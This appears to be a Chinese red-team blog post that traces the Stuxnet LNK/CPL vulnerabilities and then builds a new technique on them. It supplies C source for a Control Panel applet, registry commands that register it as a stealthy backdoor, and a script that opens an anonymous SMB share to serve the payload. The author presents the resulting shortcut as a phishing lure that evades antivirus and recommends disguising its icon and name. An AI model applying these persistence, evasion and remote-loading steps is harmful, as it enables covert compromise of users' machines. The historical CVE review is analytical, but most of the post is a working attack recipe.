震网病毒,又被称为Stuxnet蠕虫病毒,是世界上首个专门针对工业控制系统编写的破坏性病毒。这也可能是最众所周知的一次APT攻击,该病毒破坏了上千台浓缩铀离心机,致使伊朗核武器研发进度大幅度降低。
近几年,美国攻击伊朗核设施的很多官方资料已经公开,这条穿透多层物理隔离的渗透线也曝光在大众的视线内。继第一版直接通过特工物理接触安装病毒后,第二版的震网病毒用到了多个可以称为“核弹级”的漏洞,实现了蠕虫化的自动传播,穿越层层物理隔离,最终找到目标实现破坏。
在这期间,最令人称奇的当属lnk解析漏洞,其CVE编号为
CVE-2010-2568,微软编号MS10-046。
仅需要用户打开包含这些快捷方式文件之一的文件夹,甚至只是在Windows资源管理器中查看该文件夹,就可以在机器上执行预定的恶意代码。
在震网病毒中,此漏洞用于在U盘中实现蠕虫传播,也正是这个病毒,让物理隔离被轻松突破。

我们简单的来回顾一下lnk文件的一系列历史漏洞,此处不再赘述漏洞细节,仅交代漏洞触发原因。
(漏洞分析文章详见 Windows Lnk Vul Analysis:From CVE-2010-2568(Stuxnet 1.0) to CVE-2017-8464(Stuxnet 3.0)。)
CVE-2010-2568
该漏洞的成因是Windows控制面板在快捷图标显示中,在打开lnk文件后会加载lnk文件中指定的dll来加载图标,而未对图标进行任何检查。对于没有Icon filename段的控制面板快捷方式,会先判断0x7A偏移的Icon Index,有数字是根据索引查找,否则会加载cpl文件,并调用CPlApplet接口,从而实现了代码执行。
在实现漏洞利用的过程中,加载cpl的路径和图标偏移,是由字符串中逗号的相对位置决定的,所以在补丁中,微软对路径中的逗号增加了判断,并会检测cpl是否已经注册。
CVE-2015-0096
在上面的补丁中,对逗号截断的部分逻辑存在问题,所以可以构造超长路径,将通过特殊路径及存在问题的转换函数StrToIntW,将被替换的Icon Index转换为0,最后配合两个cpl文件,分别应对转换ID和最终加载。
其后,微软对此也进行了修复,将Icon Index的初始化迁移,并避免转换为0的逻辑。这基本上可以说修复了这一条调用链最后的利用方式。
CVE-2017-8464
这个漏洞依靠两种ExtraData块:SpecialFolderDataBlock 和 KnownFolderDataBlock的配合,在另一段解析后进入了对cpl文件的加载,绕过了上述控制流。这是一条新的控制流,所以并没有上文补丁中补充的检查函数。
最后的修复是如同CVE-2010-2568修复的一部分,添加了检测cpl是否已经注册的函数。经过我初步的分析,目前没有发现更多可用的调用链,也就是说没有意外的话,lnk图标解析加载cpl模块的漏洞会到此为止。
新的关注点
新的关注点
在这几个漏洞中,大多数人的关注点都被lnk文件吸引了,毕竟快捷方式的0-Click漏洞过于引入注目,而且漏洞出现的位置在于对lnk文件的解析。但实际上,我们可以把快捷方式作为该利用的载体,其核心的方法是控制面板快捷方式中cpl文件和lnk文件的配合。
在控制面板快捷方式的图标的选择上,有太多选择,lnk可以直接指定图标路径。也可以指定cpl文件中图标资源的索引,也可以交给cpl去执行并返回图标资源。那么脱离开图标,cpl文件的执行仍然是一个巨大的可利用面。
权限维持?
权限维持?
在查看了上述漏洞及修复后,我们会发现修复的主要方式是检测cpl是否已经注册,这也是最好的防止远程代码执行的方法。那么如果我们已经有机器权限的话,自己注册一个cpl呢?
首先,我们要制作一个cpl文件用于测试,示例代码如下,编译方法参考开头注释
#include <windows.h>
#include <cpl.h>
#pragma comment (lib, "kernel32.lib")
#pragma comment (lib, "user32.lib")
#pragma comment (lib, "advapi32.lib")
#pragma optimize("", off)
charconst g_szName[]="Test";
HMODULE GetSelfModuleHandle()
{
MEMORY_BASIC_INFORMATION mbi;
return((VirtualQuery(GetSelfModuleHandle,&mbi,sizeof(mbi))!=0)?(HMODULE)mbi.AllocationBase:NULL);
}
void*xmemset(void* blk,int c,size_t n)
{
unsignedchar* dst = blk;
while(n-->0)
*dst++=(unsignedchar)c;
return blk;
}
LONG
APIENTRY
CPlApplet(
HWND hwndCpl,
UINT uMsg,
LPARAM lParam1,
LPARAM lParam2)
{
static BOOL haverun = FALSE;
if(!haverun){
haverun = TRUE;
char dllDir[256];
char exeDir[256];
char username[256];
char str[1024];
DWORD size =256;
xmemset(dllDir,0,sizeof(dllDir));
xmemset(exeDir,0,sizeof(exeDir));
xmemset(username,0,sizeof(username));
xmemset(str,0,sizeof(str));
GetModuleFileNameA(GetSelfModuleHandle(), dllDir,128);
GetModuleFileNameA(NULL, exeDir,128);
GetUserNameA((char*)username,&size);
wsprintfA(str,"This file:\n%s\nwas loaded by:\n%s\nrunning as:\n%s", dllDir, exeDir, username);
MessageBoxExA(NULL, str,"Hi From CPlApplet",0,0);
}
switch(uMsg){
case CPL_INIT:return TRUE;
case CPL_GETCOUNT:return1;
case CPL_INQUIRE:{
CPLINFO* info =(CPLINFO*)lParam2;
info->idIcon = CPL_DYNAMIC_RES;
info->idName = CPL_DYNAMIC_RES;
info->idInfo = CPL_DYNAMIC_RES;
info->lData =(LONG_PTR)NULL;
return0;
}
case CPL_NEWINQUIRE:{
NEWCPLINFO* info =(NEWCPLINFO*)lParam2;
info->dwSize =sizeof(*info);
info->hIcon =NULL;
memcpy(info->szName, g_szName,sizeof(g_szName));
memcpy(info->szInfo, g_szName,sizeof(g_szName));
info->szHelpFile[0]='\0';
return0;
}
case CPL_DBLCLK:{
MessageBoxA(hwndCpl,"Bye","CPlApplet", MB_OK);
return0;
}
}
return0;
}
DWORD
WINAPI
DllMain(
HINSTANCE hinstDll,
DWORD dwReason,
LPVOID lpReserved)
{
if(dwReason == DLL_PROCESS_ATTACH)
{
char dllDir[256];
char exeDir[256];
char username[256];
char str[1024];
DWORD size =256;
xmemset(dllDir,0,sizeof(dllDir));
xmemset(exeDir,0,sizeof(exeDir));
xmemset(username,0,sizeof(username));
xmemset(str,0,sizeof(str));
GetModuleFileNameA(GetSelfModuleHandle(), dllDir,128);
GetModuleFileNameA(NULL, exeDir,128);
GetUserNameA((char*)username,&size);
wsprintfA(str,"This file:\n%s\nwas loaded by:\n%s\nrunning as:\n%s", dllDir, exeDir, username);
MessageBoxExA(NULL, str,"Hi From DllMain",0,0);
}
return TRUE;
}
之后是注册cpl的方法,常见的有如下几种:
#注:演示cpl路径为c:\Windows\Temp\test.cpl
reg add "HKEY_CURRENT_USER\Control Panel\MMCPL"/v Test/t REG_SZ /d "c:\Windows\Temp\test.cpl"/f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs"/v Test/t REG_SZ /d "c:\Windows\Temp\test.cpl"/f
copy "c:\Windows\Temp\test.cpl""c:\Windows\System32\test.cpl"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs"/v Test/t REG_SZ /d "c:\Windows\Temp\test.cpl"/f
其中前两种都不需要管理员权限,我们简单的添加一下注册,并打开控制面板即可找到对应项目。
图源 @君立华域渗透测试研究中心
右键图标并创建桌面快捷方式或者直接拖拽到桌面都可以快速生成一个我们需要的快捷方式,并且我们可以自由修改该快捷方式的图标等内容。
经过测试,在注册后,打开控制面板或者访问快捷方式所在的文件夹均会触发弹窗,cpl会加载于explorer.exe进程中。这个并不是漏洞利用,而是Windows的设计行为,甚至不是恶意绕过。整个过程非常隐秘,这样只要留一个快捷方式在目标机器常用文件夹中即可实现一个难以发现的后门。
作为新的钓鱼手法
作为新的钓鱼手法
在完成权限维持的尝试后,我觉得没有达到我的预期,本想就此放弃,但是一个小小的尝试让我发现了新大陆。
在删除对应的注册表后,快捷方式仍然可以使用!这无疑令我想到了一些进一步的利用方案,虽然没有漏洞的情况下,我们无法实现“看一眼就上线”的神奇操作,但是对一个红队开发工程师来说,钓鱼攻击的主要阻碍可不是人,而是杀软等防护软件。
就目前的环境来说,使用cmd或powershell执行脚本的lnk快捷方式早已过时,通过mshta,msiexec等LOLBAS实现的快捷方式也无一幸免,红队实践中仅多文件打包压缩的情况,可能会用到lnk作为执行的一个环节,或者将lnk作为截断进程链的一个工具,单文件lnk钓鱼基本逃不开被杀软拦截的命运。
而上述方法制作的cpl的快捷方式不存在这样的问题,作为一种还未出现在攻击行为中的方案,杀软对此类快捷方式并不会拦截。那么剩下的问题就是如何确定cpl文件的位置。
这里就想到了lnk文件的一个小技巧,也就是lnk文件的图标路径可以指定为http协议或smb协议的远程路径,在浏览快捷方式时,系统会试图下载对应文件会缓存文件夹,之前利用这个机制,我也设计过利用forfile执行的方案,但现在,我们尝试一下将快捷方式的目标设置为smb路径的目标。
首先,要找一台机器并开启smb匿名共享,方便目标机器读取cpl,我们将cpl文件放入共享文件夹 C:\share,然后开启机器的匿名共享,此处使用Powershell脚本,开启了一个任何人都可以直接访问的smb共享。
#修改路径权限,使所有人可读
icacls C:\share\ /T /grant Anonymous` logon:RX
icacls C:\share\ /T /grant Everyone:RX
#创建名称为share路径为C:\share的SMB共享
New-SmbShare -Path C:\share -Name share -FullAccess 'ANONYMOUS LOGON','Everyone'
#启用guest用户
net user guest /active:yes
#覆盖已有的NullSessionPipes配置
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f
#设置可以匿名访问共享
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
#设置Everyone权限包含匿名登录用户
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
#设置任何用户都可以通过网络获取本机的信息
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
#提取本地安全组策略
secedit /export /cfg gp.inf /quiet
#修改组策略中的指定权限
(Get-Content gp.inf) -replace "SeDenyNetworkLogonRight = Guest","SeDenyNetworkLogonRight = " | Set-Content "gp.inf"
#导入本地安全组策略
secedit /configure /db gp.sdb /cfg gp.inf /quiet
#更新本地安全组策略
CMD.EXE /C "gpupdate/force"
#清理文件
CMD.EXE /C "del gp.inf"
CMD.EXE /C "del gp.sdb"
图源 @君立华域渗透测试研究中心
之后为了方便操作,我们直接按照之前的流程,将cpl注册进入控制台,然后再拖到桌面,生成一个快捷方式。再将这个快捷方式放置于另一台新的测试机器,发现确实可以访问,并且代码在rundll32.exe进程中运行。
经过进一步的测试发现,该文件免杀效果也非常好,完美适配红队渗透测试中的钓鱼场景,配合修改lnk文件图标及名称,可以绕过杀软,并迷惑目标人员,大幅度提高上线几率。
总结
总结
虽然震网病毒至今已经有十五年左右,但其使用到的一些思路和细节仍然可以带给我们新的启发。在安全开发领域,网络攻击手法不断发展变化,日新月异的消息让我们眼花缭乱,但过往攻击的威胁并不太遥远,温故方能知新,融合多种手段技术的攻击越来越多,网络攻击向着更隐蔽,更高级的方向发展。只有熟练的旧法新用,推陈出新,才能不断迭代,紧随时代发展。

